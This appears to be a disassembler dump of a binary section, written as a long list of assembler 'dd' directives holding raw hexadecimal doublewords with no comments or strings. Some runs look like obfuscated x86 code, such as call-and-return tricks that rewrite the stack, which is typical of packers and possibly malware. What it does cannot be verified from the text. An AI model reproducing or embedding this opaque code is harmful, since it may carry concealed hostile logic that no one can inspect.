		dd 5B615954h, 799703D4h, 9FAD21F2h, 524D4C15h, 26ADA55Ah
		dd 0E9A85655h, 331720ECh, 0F2301E54h, 92191F17h, 9A5155C1h
		dd 915A3A5Fh, 152h, 521D4F81h, 0D012F51Ch, 0B4BAC7D4h
		dd 3CD012F5h, 296C372Fh, 3A3803FCh, 0BAD61145h,	1BE65AADh
		dd 0DC145F10h, 324E4D5Ah, 5E3F3500h, 0AAB7D012h, 5425ACB2h
		dd 7543CAE8h, 282322EBh, 57DED6D5h, 1AD98786h, 0FCEE751Dh
		dd 125EC331h, 53A6B3D0h, 0FFE8E3E7h, 66235A3Ah,	13000000h
		dd 0D113C60Ah, 0DF2A5FE3h, 5F37C628h, 0E7B2AAA7h, 0B529F129h
		dd 68865183h, 0AED61145h, 5C575627h, 9E615966h,	0D61145E0h
		dd 0AF646370h, 0D6114541h, 20EB1D17h, 0D61145D2h, 0C29D95A2h
		dd 0F0B8F0C5h, 0B43C4A7Ch, 7A28EBE3h, 7CD61145h, 96228B73h
		dd 3DC5C3C5h, 1F726D6Ch, 0EC717B27h, 2F5CC81Bh,	92h, 9D243232h
		dd 0E6B1CDCCh, 0D6114588h, 10085B68h, 64D8A0DDh, 14679A99h
		dd 0D0CFDCDCh, 0FE8351D8h, 5866DA2Dh, 70201D2h,	64632CB7h
		dd 314F7169h, 25DAD9AAh, 0D01265C4h, 89312E37h,	83C53102h
		dd 61688651h, 0FB08D012h, 0CE55D003h, 20F17846h, 88D32621h
		dd 9D7C82B7h, 0AB1F723Fh, 180D76E0h, 0F2F1FEDAh, 0A3A273FAh
		dd 0DDA9A685h, 827A43CFh, 0D64AD64Fh, 167E010Bh, 4779ABD0h
		dd 979767Ch, 0E4F1FEC4h, 0C409798Eh, 0BEB4850Ch, 0DB9B1h
		dd 0FC29B194h, 6BE5B024h, 3DC1B93h, 0A9DBF7F6h,	1B0A90DEh
		dd 5B5360D0h, 91FDCE55h, 0A71BEC73h, 25CD3A9Eh,	0DDD5E4CEh
		dd 63547328h, 318C16EBh, 505F6834h, 45EBBF6Bh, 0A930362Eh
		dd 6291FDE0h, 3184FD83h, 4F20A7C5h, 63EBD2DBh, 932B8C34h
		dd 64EEE69Bh, 9F7E9C9Bh, 0BACDD6A2h, 1CED7481h,	75B7B6D1h
		dd 1FF0777Dh, 3D0E95B3h, 3373Eh, 543A0000h, 4CD563Dh, 0B5860D05h
		dd 6932BEB6h, 1EE7726Ah, 0D1A2271Fh, 8455DAD2h,	3A038D85h
		dd 0EABB433Bh, 9C6DF3EBh, 0A4686F9Dh, 89000037h, 8957243Ch
		dd 4C781E7h, 83000000h,	3C8704EFh, 4895C24h, 0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 57240C89h,	1401DABFh
		dd 4CCFB80Eh, 0F801F7F6h, 81243C8Bh, 4C4h, 0C8B5400h, 4C48324h
		dd 89C58955h, 2C8B0869h, 4C48124h, 0FF000000h, 81592434h
		dd 4C4h, 2434FF00h, 4C48158h, 0E9000000h, 0FFF92A41h, 1CC88515h
		dd 24CD2547h, 69B84287h, 3060A53h, 55E0FFC5h, 0B204ABB1h
		dd 605B2BAAh, 0DB47916Fh, 6E016D82h, 293B9A84h,	287C2EEAh
		dd 1256333Ch, 932114A3h, 0F54696BCh, 716671E7h,	286F3789h
		dd 0E86CC0C4h, 0Dh, 0EE097B14h,	0C03AEC9Dh, 0D93B6CB6h
		dd 1CB9661Fh, 0EE95F53h, 1000000h, 269065B1h, 0B9A0C34h
		dd 8E35E808h, 0F4C781AEh, 66000058h, 0C0BDE681h, 15FEBBh
		dd 0F28B6600h, 860F37FFh, 16h, 0EE8h, 32325500h, 60183D19h
		dd 78CACCC1h, 8B5FB2BAh, 0F585AF1h, 580h, 4454BA00h, 0F0813948h
		dd 63DE1828h, 814AF280h, 2FB706C0h, 3860F21h, 80000000h
		dd 0E881F3C6h, 73DBCB40h, 0F50D18Ah, 18Ah, 78FF900h, 0F5ACEF81h
		dd 81665933h, 817951CEh, 33F5A8C7h, 0EB83F959h,	32850F01h
		dd 60000000h, 0FBE78166h, 0FE960C6h, 0E5000000h, 5BFC2ECCh
		dd 0DBFE9545h, 50D922DCh, 0D68154A2h, 558CA58Ch, 31E96161h
		dd 74000000h, 173C648Ch, 0BA10577h, 11E8E9h, 0CC780000h
		dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 6608A90Fh, 0E959CF8Bh
		dd 0FFFFFF40h, 0BDB3EE27h, 2D60D44Ch, 89C104EBh, 3FE92186h
		dd 88000005h, 0ACCA36FFh, 0CBE95526h, 0E8067243h, 0B29955Eh
		dd 8A49B586h, 24F57A3Eh, 460F9AB8h, 6730BCDAh, 8556DDFBh
		dd 9D681419h, 0D01B1057h, 56FE111Fh, 7FFFECFh, 2745B182h
		dd 0D8D0CFA0h, 89818051h, 0B0BE3203h, 1EE95D26h, 0D61145D0h
		dd 0E69B93A0h, 6AEAB06h, 42AE7Fh, 9C9B6CF2h, 4D4C1DA4h
		dd 107FF52h, 2240AC75h,	0D6CECD96h, 6583824Bh, 72F70537h
		dd 455E94A1h, 916D611h,	626132B9h, 97946F67h, 2E9A63EFh
		dd 35BB8910h, 457A7843h, 0EDFAD611h, 4DA09B9Ah,	455E994Eh
		dd 0BE93D611h, 0E3B833C1h, 76845C39h, 231E1DEEh, 52D3FDD8h
		dd 241C0B1Bh, 78E9h, 24323800h,	92E0AB9Dh, 62D61145h, 8030255h
		dd 0B2830A10h, 0D8A9303Eh, 7E762BE0h, 71D61145h, 0DA119F9Ch
		dd 515C39E3h, 6, 0DCAD3341h, 0D05619E4h, 820800FFh, 99AA7AB9h
		dd 82D52DF6h, 0A778000Eh, 7802FAAFh, 30B8B0AFh,	0DC68605Fh
		dd 961C1413h, 300BFC5h,	0C8C52058h, 0DDA89A20h,	0D6119B97h
		dd 8BFF525Fh, 3129F27Dh, 0A16AF10Fh, 4A33412Ch,	8EFA4DAAh
		dd 0D156ABh, 6F87E8Ch, 1145353Bh, 5DB0BDD6h, 0B66B635Eh
		dd 686738BEh, 32FEFBBAh, 0CFCE9F24h, 458AE8B3h,	5D6AD611h
		dd 6730BA0Ah, 13E4696Fh, 390289A7h, 34B95057h, 2D6B1863h
		dd 0BB0ED763h, 0E9716968h, 0F96A418h, 4C443F3Eh, 504DC697h
		dd 390F19C2h, 58145Ch, 56630000h, 90100D1h, 0D1B1B081h
		dd 4CD17976h, 6CF10F7Bh, 1AA49C9Bh, 8815251h, 0A6313F0Bh
		dd 0E2F9E5DDh, 295C39E1h, 45h, 9E243278h, 4ACFD5CDh, 0F6827A79h
		dd 7CB0B92Dh, 8C618307h, 844DD828h, 59DFD78Ch, 0C918988h
		dd 2A333C3Bh, 1821822Dh, 1DEE731Bh, 0D056CEB1h,	204B00FFh
		dd 45D61145h, 0EEE57370h, 255C39E3h, 1,	99243274h, 62D6D1D0h
		dd 11455997h, 140C19D6h, 41B5860Eh, 452E440Fh, 0BCC6D611h
		dd 6E696831h, 7546CB1Bh, 49D0C87Dh, 45668C57h, 10ED611h
		dd 0E4201B6h, 6ABD56FAh, 111F4D6Bh, 0E8C3BB8Ch,	0EABB43EBh
		dd 12E36876h, 319DD39Eh, 4855D611h, 0BAEC2E50h,	113181EFh
		dd 6C6471D6h, 0C034CC39h, 141336F5h, 242330DCh,	68D4A52Ch
		dd 7EF2C34Ah, 3136CB75h, 12850866h, 90DBE8D0h, 0F5EDC12Eh
		dd 8A162440h, 0EE06C9C1h, 1BD012CCh, 40491512h,	5C3F82D0h
		dd 0BDC3BB4Dh, 0DBF96536h, 68848354h, 0A83CB95Fh, 0F3ED73E6h
		dd 7DBE82DAh, 10160E61h, 0BB9B889h, 20A74F4Ch, 14DFE34Fh
		dd 1F5A3A75h, 124h, 9D24326Eh, 0DAD2CDCCh, 2EA27EA7h, 145FC863h
		dd 9695A2DCh, 777D487Ah, 0FFD0125Fh, 6DF4FAF2h,	8B12309Ch
		dd 3CC3BBBAh, 0FFBE6C6Bh, 2D35A02h, 0F9599296h,	58D45A3Ah
		dd 23000000h, 0B529F129h, 4F4E1FA7h, 325C54h, 9A996AF2h
		dd 3EE4A79Fh, 0B6D61145h, 0A12735A9h, 2AFB80D0h, 0AAC87D32h
		dd 30D61144h, 0CF812D36h, 0B8569C67h, 111ED611h, 0B17776C6h
		dd 0E0DD661h, 43401B13h, 0FA6E3A6Eh, 1178712Fh,	6BF701D6h
		dd 55A8A3A2h, 92BCE9h, 29BF0000h, 0E5B024FCh, 0DC14674Eh
		dd 44159CAAh, 0A6524A45h, 4544159Ch, 0A172FA4Ah, 2A334F4Eh
		dd 0E4AF13DFh, 0D012F88Eh, 0CE0E5966h, 0CBD1C998h, 0E9077344h
		dd 0DD929162h, 0D012249Ch, 41E9E6EFh, 327DE9BAh, 0EEB92DCBh
		dd 0DA18F9DDh, 6D898895h, 0C5105664h, 0B43C26D2h, 96E9E4E3h
		dd 1F11989Eh, 1CE21E54h, 76C9D6DAh, 0A96AF402h,	6DCDD9C6h
		dd 5251A4BAh, 0B27B0757h, 8E705BAh, 31CF360Bh, 5728AFBDh
		dd 596A355Fh, 11D016EAh, 48569804h, 31FCF4BDh, 0D0992432h
		dd 0A078A5D8h, 0C5961E2Ch, 0A9D3CBC6h, 1B9ACDDEh, 8C5785DCh
		dd 0D01B1066h, 0DF15E00Eh, 97D01B10h, 70E4378Ah, 1DE8DA62h
		dd 0D01B10D7h, 0EF3F929Fh, 0E99E9667h, 2D996AF1h, 43B7880Fh
		dd 0F5C0AA35h, 0D01B10FFh, 18176A77h, 7841CD1Dh, 0D1867E79h
		dd 4F20A7B5h, 9A5D5550h, 0FB944DC3h, 49F1EE49h,	4385F1C2h
		dd 0E5DDAE35h, 28A58DFh, 0E4373231h, 9D63EDE5h,	4D484718h
		dd 0FEDDFBFAh, 1D25901h, 0A84A5395h, 9B5267C5h,	50D7DDD5h
		dd 3264807Fh, 86760967h, 0E4DCE9FBh, 0DCFh, 0DE54D200h
		dd 4593E1ACh, 5663D611h, 0CD56935Eh, 860D0504h,	32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 686F9D9Ch, 1B1Ch,	56241489h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 0C895C24h, 8B06824h, 3C890000h
		dd 0B9515224h, 60A5532h, 8959CA89h, 3685AD1h, 89000006h
		dd 4832424h, 685F0424h,	31FBh, 89242C89h, 86F89CDh, 243C8B5Dh
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 53240C8Bh, 0C381E389h
		dd 4, 4C381h, 1C870000h, 0BEE95C24h, 56FFF923h,	50418FB4h
		dd 0D9F3C37Ah, 0D4C335A7h, 0E6B8E389h, 3060A59h, 0EE0FFC5h
		dd 642FE0DAh, 263B38C7h, 0D04F0DC3h, 18592C3Bh,	7D0934B1h
		dd 7A2DE5FCh, 6E588CEAh, 9A024C09h, 5475B59h, 9654BCC2h
		dd 0A31CFABEh, 0A3190D98h, 5E45D5E1h, 0EB13881Ch, 0F1938E04h
		dd 4C3E952h, 8A130000h,	0B13755C1h, 0CE5674E0h,	0E97391FDh
		dd 1196B420h, 0C915D440h, 43AF8005h, 65D19A25h,	86F2BB47h
		dd 0A410E168h, 0CA28F39Fh, 0AAD01B1Fh, 2432899Ch, 0D7D2D19Ah
		dd 8152D9DFh, 34058A82h, 4C7D86C8h, 0FA4A4BC8h,	38BFC5BDh
		dd 0BCDDB56Fh, 52A5F36Eh, 3D45B53h, 2AFB818Fh, 0CBB144DFh
		dd 665E1EABh, 6233B9B1h, 2B288363h, 0B72BFC83h,	0E2561FA9h
		dd 11A5D917h, 948C99D6h, 0FFC85472h, 20E97593h,	4A139EACh
		dd 1AA59D52h, 55345251h, 3D838C58h, 0B4DDEC2Ch,	0C8545A52h
		dd 0EE7593FFh, 0F4021E1Dh, 0E2A59D6Eh, 0D6117889h, 7C0A07DCh
		dd 5C39DE77h, 4DBEh, 0CF560D00h, 224AFFFEh, 45D61145h
		dd 0EEE57370h, 255C39E3h, 1, 0FFD05674h, 0B1820800h, 32400B3Dh
		dd 0C2D61145h, 1008BDB5h, 0DEBEBD86h, 59ED2B34h, 6A7EE5ECh
		dd 0F29A9772h, 4A139E6Ch, 7900504Bh, 5BAEA9A8h,	794AD1EFh
		dd 0D1562A0Dh, 2CDA6708h, 0D92CF527h, 0E4B5BEDAh, 0F1FFCA31h
		dd 81D611B9h, 7FA82974h, 1BA1A79Fh, 0DE9D4B4Ah,	0E3B439E1h
		dd 1D25977h, 0B1820A02h, 1019E1B2h, 69F0DD23h, 1BF6EEB6h
		dd 814B901Eh, 75C25C39h, 11000000h, 100D156h, 3CB08109h
		dd 45313F0Ah, 0DD67D611h, 8C141E14h, 6EC1BCBBh,	86E1C176h
		dd 8B5CE189h, 0AB7C011Fh, 612AB4ACh, 1B189162h,	39E1568Dh
		dd 7BDD5Ch, 562C0000h, 838C00D1h, 0F8A491F5h, 32E7DF92h
		dd 43AD0D16h, 5370E6Ch,	0B27B070Dh, 0A4A1AAB3h,	95DBA6D8h
		dd 5DD611D0h, 0A97A0050h, 0B1B7AFAAh, 0DEE75B2Ch, 5AE0DA7Ah
		dd 0D4A53E89h, 65486A62h, 26062932h, 0A85CC20Dh, 113397DDh
		dd 0FF525FD6h, 0AA7B0107h, 0F5818FABh, 3A322D2Ch, 11337C77h
		dd 9F9C71D6h, 3995DA11h, 0F515Ch, 38410000h, 33118B02h
		dd 0A576FD1Ah, 6058ABA6h, 0FDCE5695h, 0AE7F06FEh, 5A6391AFh
		dd 7A5113C6h, 0EB71C16Ah, 4A47221Ah, 0DD491AA2h, 4906B92h
		dd 0EE413C3Bh, 0C388AF7Ah, 0DDEADC14h, 6D5FE6DEh, 12824CA2h
		dd 0C71724D0h, 7974733Ch, 0E9A9B226h, 0FEF4BF1Ch, 76D012F2h
		dd 0CA071E69h, 0C8E60800h, 0BC717041h, 0D01241B0h, 0E06B79D1h
		dd 251D1817h, 1EA54D4Ah, 3CC3E14Dh, 42506C6Bh, 0F0F6EEB7h
		dd 0C6A7A069h, 0DFD4E8ACh, 0F40F188Ch, 392BBCDh, 1AC87D75h
		dd 2FB65E5Bh, 0E5EEF25Eh, 305A3A2Eh, 14Dh, 3FC297Fh, 11453A38h
		dd 5AADBAD6h, 5F101BE6h, 4D5ADC14h, 8701D0D9h, 0E39BDC0Eh
		dd 376D92E2h, 0F3EB3EDBh, 0EEBF463Eh, 0CDD6482h, 0BD8E150Dh
		dd 264C1749h, 50D0125Ah, 125A6F85h, 4FA07D0h, 524AFFF7h
		dd 7FFFEC7h, 92B0AF80h,	50BB6B3h, 6F7D4946h, 0ABB422E3h
		dd 464643A3h, 1F9F4F3h,	37A374FBh, 3A6FB833h, 0F176845Ah
		dd 2E262120h, 46F3h, 4AD5E300h,	3C878281h, 0A81866FBh
		dd 0DCA79FCCh, 0B529F129h, 114534EAh, 0B0AFBCD6h, 1144F5FBh
		dd 0BBB863D6h, 8B5CE1EFh, 0AD716640h, 433BAD34h, 9C109810h
		dd 3D45C6Ah, 6A9A480Bh,	0D1AD611h, 9374A1h, 29770000h
		dd 0E5B024FCh, 0DC14674Eh, 1C1B28h, 34E65DF7h, 0E4DCE1D7h
		dd 128657DEh, 28B37904h, 1265605Fh, 0FE201813h,	0B1BF8ABCh
		dd 41D0126Ch, 0AF363C34h, 0CF2ADFDEh, 3CD0126Fh, 89E7B2E4h
		dd 69D0126Fh, 8C89645Ch, 208C5DE4h, 80D9D5DEh, 0D17A5A68h
		dd 0A17FA6D9h, 0D6242Dh, 52AACBC5h, 0DF65305Ah,	97DA18ACh
		dd 666F8B8Ah, 0C31F2C10h, 0B07BC61Fh, 88885F59h, 0A91978Fh
		dd 3D1C3A39h, 66326B40h, 0DC1927F2h, 4C59D016h,	0B909EE0h
		dd 48403B3Ah, 24FC297Dh, 9F5FE5B0h, 9099DC1Bh, 38721BADh
		dd 9B473FFBh, 10978F8Eh, 2EB5D33Fh, 0E0A95E5Dh,	442D0782h
		dd 0BD44ECE9h, 0DB6280ECh, 89130B0Ah
		dd 0C4A3C1C0h, 0CA981FC7h, 7B76753Eh, 179EBC28h, 0A5F0C149h
		dd 310B641Ch, 0A6A5F80Eh, 0B597818Ah, 32A047Eh,	8F60Bh
		dd 54F90000h, 7A4BD0DEh, 0CD56B782h, 860D0504h,	32BEB6B5h
		dd 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h,	0BB433B3Ah
		dd 6DF3EBEAh, 686F9D9Ch, 526Ch,	51243C89h, 0C181E189h
		dd 4, 4E981h, 0C870000h, 1C895C24h, 7EE86824h, 34890000h
		dd 5ABD6824h, 1C8B060Ah, 4C48324h, 24348B54h, 4C481h, 0B8500000h
		dd 8, 8957F001h, 5F3889DFh, 2434FF58h, 4C4815Eh, 0FF000000h
		dd 835B2434h, 0A2E904C4h, 2AFFF91Eh, 5F1EB88Bh,	0C503060Ah
		dd 70E6E0FFh, 0EDC62D0Ah, 77BC5153h, 0C528330Bh, 9E2F1352h
		dd 0AEC85604h, 0B7267355h, 977C2C13h, 8DA05AD1h, 0B5AC211Dh
		dd 0D9647954h, 0B95C6A24h, 0E62B4DD4h, 4C9622E5h, 82B97B4Bh
		dd 1BDF7178h, 0E99F2D85h, 0FA4C5671h, 4EB3335h,	24E14612h
		dd 557E9h, 0E0A93200h, 0FFD05674h, 1CED7593h, 3F0892B0h
		dd 5F30B5D3h, 24E834F3h, 4462CE9Fh, 6684F0B9h, 87A511DAh
		dd 0BEC32F00h, 1A294712h, 0BBC9D01Bh, 0FECF56A8h, 0B18207FFh
		dd 0D2A02745h, 2726794Ah, 0D8D7A82Fh, 8A895AE0h, 86524FAAh
		dd 2B23EC78h, 61CD9E25h, 82EEB743h, 100FD864h, 0C5C48D18h
		dd 0E16B79A7h, 9F261918h, 5C2B9053h, 0CAA59DF0h, 0D09925CDh
		dd 0F1BF4664h, 4D4DA566h, 8FFDB85Ch, 56213D3Ch,	0D6119318h
		dd 2578CBD8h, 71FC0A26h, 82EDB0A8h, 12D61193h, 0A0BCBB8Ch
		dd 11939FD5h, 0FA4A57D6h, 89A7A66Fh, 8702ADAAh,	0E0E9B5B2h
		dd 4E92F68Dh, 6D595145h, 5C396666h, 68ADh, 0CF56FC00h
		dd 4A588AFEh, 8EE4F1C2h, 0E8D61145h, 1145D71Dh,	9C929FD6h
		dd 0C6E2978Fh, 6A6233B8h, 11454FA7h, 0D0CDA2D6h, 39E38942h
		dd 8845Ch, 66740000h, 181312DBh, 0D0565520h, 820800FFh
		dd 30BAB2B1h, 0A014E56Ah, 11459FD5h, 0F74A57D6h, 0C0BD18F8h
		dd 4DC19218h, 42CCD544h, 7C741A93h, 0E7B53C5Ah,	0CF3B8E5Fh
		dd 0D156ECh, 91830901h,	1145A8C6h, 4F1A48D6h, 0D6114521h
		dd 1E71C4D1h, 0B5B2711Fh, 4BB7880Dh, 0E60CD709h, 8ED61145h
		dd 0D8A93181h, 8253DAE0h, 32038B83h, 689A6233h,	1145579Dh
		dd 1A121FD6h, 2FB4423Fh, 0F75C39E1h, 4FF4FAC5h,	6F7CD611h
		dd 9A3C77h, 568B0000h, 90100D1h, 333CB081h, 41F08DE1h
		dd 19CEC657h, 39E1DE39h, 5977E3B4h, 0C0403D4h, 1345B982h
		dd 11D82A48h, 0C5BDCAD6h, 0CD8E1810h, 93DEB05Fh, 222174ECh
		dd 0D3D2A32Ah, 2ED9D6B5h, 0C38F8C05h, 62612AB5h, 58836F67h
		dd 0E45C39CFh, 6189E7B2h, 890FD611h, 0BDB5C2B8h, 7982h
		dd 0D156D100h, 7D090100h, 45AAC893h, 3D4AD611h,	6DF3EBEAh
		dd 4C4B149Fh, 7FFFE51h,	95B1B081h, 1145A4CAh, 73F4CD6h
		dd 0A304AFACh, 974B424Bh, 6C59A7D4h, 0F49C9974h, 4F329E6Fh
		dd 7B02D056h, 15425ADh,	0B3840A02h, 0F20E0D60h,	0F4377DE9h
		dd 0E3DBB054h, 117FD720h, 0F8B945D6h, 0F4A0C8F3h, 8180D381h
		dd 3736FF89h, 923D3A19h, 0B7454217h, 5C39A93Ch,	1F7h, 324600h
		dd 7DD392F7h, 0A4B1C6DAh, 0D611D44Eh, 81CE1926h, 14238ED7h
		dd 5EE6ECE4h, 0F968E8Dh, 9AEDB641h, 0A19E7D9Bh,	34A071F9h
		dd 60E7BCE9h, 1298908Fh, 279BEE41h, 14B9DF5Ch, 168A97DCh
		dd 45DB19E4h, 8E9BD015h, 62E9E196h, 80072591h, 0F3FBB0AFh
		dd 10D01545h, 0DB620A07h, 0B5B4850Dh, 0DDFB67BAh, 8E868556h
		dd 3F373607h, 0EFE7E6B7h, 4B149E64h, 0FFFE514Ch, 0F49F9C47h
		dd 8A322FEEh, 28461103h, 0C8D01545h, 15E66BBBh,	54C81B16h
		dd 0CF25F022h, 0A7D01545h, 45678D9Ah, 20FD015h,	0EFE4E80Ah
		dd 265A3DE3h, 11Ch, 24FC2975h, 5F4AE5B0h, 1724DC14h, 0C8992018h
		dd 19572254h, 0D9D0125Eh, 94B2D4CCh, 0BAC83C0Dh, 6B66652Eh
		dd 3FC6BE73h, 0CB1EE771h, 625F1ECCh, 0F66233BAh, 3AF8F9F2h
		dd 4B345Ah, 29830000h, 0EAB529F1h, 0D6114534h, 0FBB0AFBCh
		dd 0D61144F5h, 0E6BBB863h, 0A772E6B2h, 0D61144F9h, 0F0FEC9FBh
		dd 80D61144h, 1F1EEF76h, 2DD9D124h, 9E67F1FFh, 5997A49Fh
		dd 0BFD61144h, 64716738h, 9978A511h, 1C000000h,	0C0B8890Eh
		dd 24FC29F5h, 341DA7B0h, 0EC192714h, 30FFCAF4h,	42DC14B6h
		dd 0B73E3635h, 0D55C7AE6h, 29500504h, 62D012B2h, 0A871FC0Ah
		dd 30D8D5B0h, 2D5E0A9h,	5739B03Ah, 935E9004h, 0D012D15Dh
		dd 0F8922BC0h, 0FBF1C21Ah, 89D4F6EEh, 710841Ch,	0DC42634Fh
		dd 6FF84342h, 8BF124D2h, 0E9B4DED6h, 0DA18EABCh, 362E2D3Ah
		dd 8859E1AFh, 0B63E3635h, 66EEE6E5h, 33DE9695h,	0E7158B36h
		dd 838253D9h, 0B8B59088h, 6ADEBAE3h, 160A669Fh,	77E3F0D0h
		dd 0CE9F2735h, 11DCD4CFh, 0B024FC29h, 73814C7Eh, 3D61145h
		dd 23BFEF6h, 8CDC1BA5h,	0ED90B7Fh, 0D01B1AE0h, 2EFF8690h
		dd 362EE3DBh, 3072DEAFh, 0CAC99A22h, 4AD1D7CFh,	65C57A79h
		dd 0BFFEF637h, 38BF6764h, 0F6C1F367h, 0FEE4C6F8h, 51736B78h
		dd 67DBAC33h, 8106D459h, 0B0655DB0h, 66652EB8h,	911BE96Eh
		dd 7BCEC9C8h, 31FF847Ch, 8887DAABh, 0A5504DA8h,	67F3012Fh
		dd 0ACA49F9Eh, 0A52CD4D1h, 0C34A68D4h, 814C7EF2h, 0FEE4C673h
		dd 0C6B4BA85h, 2F3CFEE4h, 7F342C39h, 378h, 3D547B00h, 504CD56h
		dd 0B6B5860Dh, 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh
		dd 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h, 0E389536Fh, 4C381h
		dd 0B9510000h, 4, 8759CB29h, 685C241Ch,	25D1h, 50240489h
		dd 405E089h, 2D000000h,	4, 5C240487h, 51243C89h, 7762E6B9h
		dd 3D3AB83Dh, 0C8313B7Dh, 83240C8Bh, 8B5404C4h,	0C483243Ch
		dd 4EC8104h, 89000000h,	0C589242Ch, 5D086F89h, 5F2434FFh
		dd 0FF04C483h, 81582434h, 4C4h,	18FBE900h, 1417FFF9h, 600D7BD8h
		dd 4424ACh, 0A70EEAA6h,	0A64B4B8h, 0FFC50306h, 0DD3919E0h
		dd 48E20675h, 0B16CE77Eh, 75AF2161h, 64F70B38h,	0D3136905h
		dd 0C0AF7B36h, 1D864C2Fh, 1E47DA21h, 3665E278h,	0E072ED1Ah
		dd 1ED73764h, 0A2C5276h, 0DC4FA07Fh, 35BBA253h,	3F1BC444h
		dd 75A5A001h, 0B5FDE473h, 14D7B238h, 73D6D924h,	18644053h
		dd 7A748D56h, 0EC38F803h, 85C8E919h, 29E0B407h,	0E0ED3839h
		dd 92FC1D5Ch, 1685F524h, 10EB49h, 3 dup(0)
		dd 8B000000h, 0E1B589C0h, 8306032Ch, 304E5BDh, 9750006h
		dd 2339BD83h, 74000603h, 8B535019h, 42DB8C0h, 85890000h
		dd 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h
		dd 50177400h, 42DB853h,	85890000h, 6031A9Dh, 0B2AE9D8Dh
		dd 0D3FF0605h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 8CC25FC3h, 0CE9DC1Ah, 2A000000h
		dd 1553219Fh, 5A83BA4Bh, 8B37C2E0h, 8D8BF8C0h, 603176Dh
		dd 0BF28166h, 0F98331h,	9C840Fh, 8A0F0000h, 5, 0E5DA8166h
		dd 0F1B70F2Ah, 2C3D8B64h, 81000000h, 0DA2CB5F6h, 0FFF0B38h
		dd 7984h, 79952300h, 8B060329h,	55006A3Fh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 1D77BF35h
		dd 0C032D3EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0A8C35545h, 553DC445h, 0E2803CBEh, 6AAAF382h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 4C0C350h, 8761D005h,	0DA816639h, 493538EEh, 56535041h
		dd 2E6D958Bh, 665A0603h, 0C6F89DBEh, 31BA185h, 0BD894706h
		dd 60312F1h, 16D6F568h,	21CFBAD6h, 4815E1Bh, 0BFB13724h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66A5E073h, 8D89F38Bh, 6032191h, 2471B5FFh
		dd 8DFC0603h, 67C5885h,	2880F06h, 0B6000000h, 9D0FF10h
		dd 31FE1BDh, 0FD858906h, 89060325h, 307599Dh, 0A185C606h
		dd 5306031Bh, 7419589h,	4E80603h, 0FC000000h, 0F88986Ah
		dd 884h, 28A0F00h, 8A000000h, 0F28B50F4h, 424448Bh, 0CB8B6660h
		dd 8B61D38Bh, 89C0B600h, 66042444h, 6A58F78Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F4AC356h, 8Dh, 71B5FF00h, 8D060324h, 67C5885h, 1958906h
		dd 0FF06032Dh, 8D2EB6D0h, 63A6C85h, 0BF666006h,	4EB316BEh
		dd 69858961h, 6A060313h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 47DC353h, 0CF593D60h
		dd 6AE8ADB5h, 0FFFF6A20h, 3136995h, 41493506h, 85C75350h
		dd 6030CC1h, 1,	7C185C7h, 603h,	10E90000h, 0E2000000h
		dd 0B9AC8374h, 231031A5h, 512F247h, 8B5C5FDEh, 30DBD95h
		dd 0BDBD8306h, 6032Eh, 3B840Fh,	2DBA0000h, 0E9256451h
		dd 7, 0B904F4BCh, 8B9DA60Dh, 31C2985h, 8B24BE06h, 0A36436DFh
		dd 0
		dd 0B219D89h, 858B0603h, 60329B5h, 1C61958Bh, 0E08B0603h
		dd 490758BEh, 0ADBD8364h, 60306h, 4D4850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 2F84F8C3h, 75BBC9F4h, 0B589F2D8h, 6030B85h, 0BE8h, 69039E00h
		dd 0CAE63B43h, 0DF06C15Ah, 9476C9BEh, 85C65A02h, 6031BA1h
		dd 53006A56h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 28D3BF71h, 68D0ACACh, 0AE317093h, 13E960h
		dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh,	7396952Dh
		dd 0D153BF8Ch, 816128FAh, 404C2434h, 665107F4h,	5A39CFBAh
		dd 2471B5FFh, 1DB60603h, 0C36C45BEh, 58858D2Dh,	0F06067Ch
		dd 8E0FF1B7h, 0
		dd 8950D0FFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 48A8EDC3h, 0E22E1A16h, 608B64F9h
		dd 3039858Bh, 9E80603h,	15000000h, 213421C6h, 0D7A225DAh
		dd 0FE9h, 0F8F8C600h, 391E3A2Ah, 66A23A66h, 3790FC5Dh
		dd 8D8D615Ah, 6030479h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FAC35141h, 8B67172Ch, 9D29D1D4h, 603291Dh
		dd 0CE85091h, 38000000h, 7E6914B6h, 37DE371h, 0E9194196h
		dd 14h,	0A10075F3h, 45F24038h, 263AA246h, 98B6645Eh, 0B4D0B2E5h
		dd 958B915Ah, 60319C9h,	0C368046Ah, 6042A859h, 0EDB1BA66h
		dd 5E9h, 177D8F00h, 8161ED6Eh, 49C32434h, 14E942A8h, 87000000h
		dd 0C681227h, 0FCBB8AEEh, 9223ED56h, 423B1F7Bh,	0FFC2EA82h
		dd 3133DB5h, 0F78B6606h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 8C1C9FC3h, 5352B0ACh
		dd 8BB4E01Ch, 3133DBDh,	1DB58906h, 3060324h, 0AE83C7Fh
